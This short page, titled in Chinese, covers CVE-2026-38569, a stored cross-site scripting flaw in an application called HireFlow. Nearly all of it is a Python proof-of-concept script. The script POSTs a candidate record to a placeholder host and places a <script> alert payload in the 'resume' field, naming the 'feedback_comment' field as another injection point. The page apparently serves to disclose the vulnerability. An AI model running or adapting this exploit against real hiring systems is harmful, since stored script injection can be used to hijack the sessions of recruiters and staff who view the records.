CVE-2026-38569: HireFlow 存储型XSS漏洞

import requests # Target URL configuration target_url = "http://target-host/candidates/add" # Malicious payload to demonstrate XSS # This payload triggers a simple alert box when the page is loaded xss_payload = "<script>alert('CVE-2026-38569-XSS');</script>" # Data to be sent in the POST request # The vulnerability is in the 'Resume' or 'Feedback Comment' fields post_data = { "name": "Test Candidate", "email": "[email protected]", "resume": xss_payload, # Injecting payload into the Resume field "feedback_comment": "Nice resume" # Or inject here } try: # Sending the POST request to store the malicious payload response = requests.post(target_url, data=post_data) if response.status_code == 200: print("Payload sent successfully. Check candidate_detail.html to verify execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")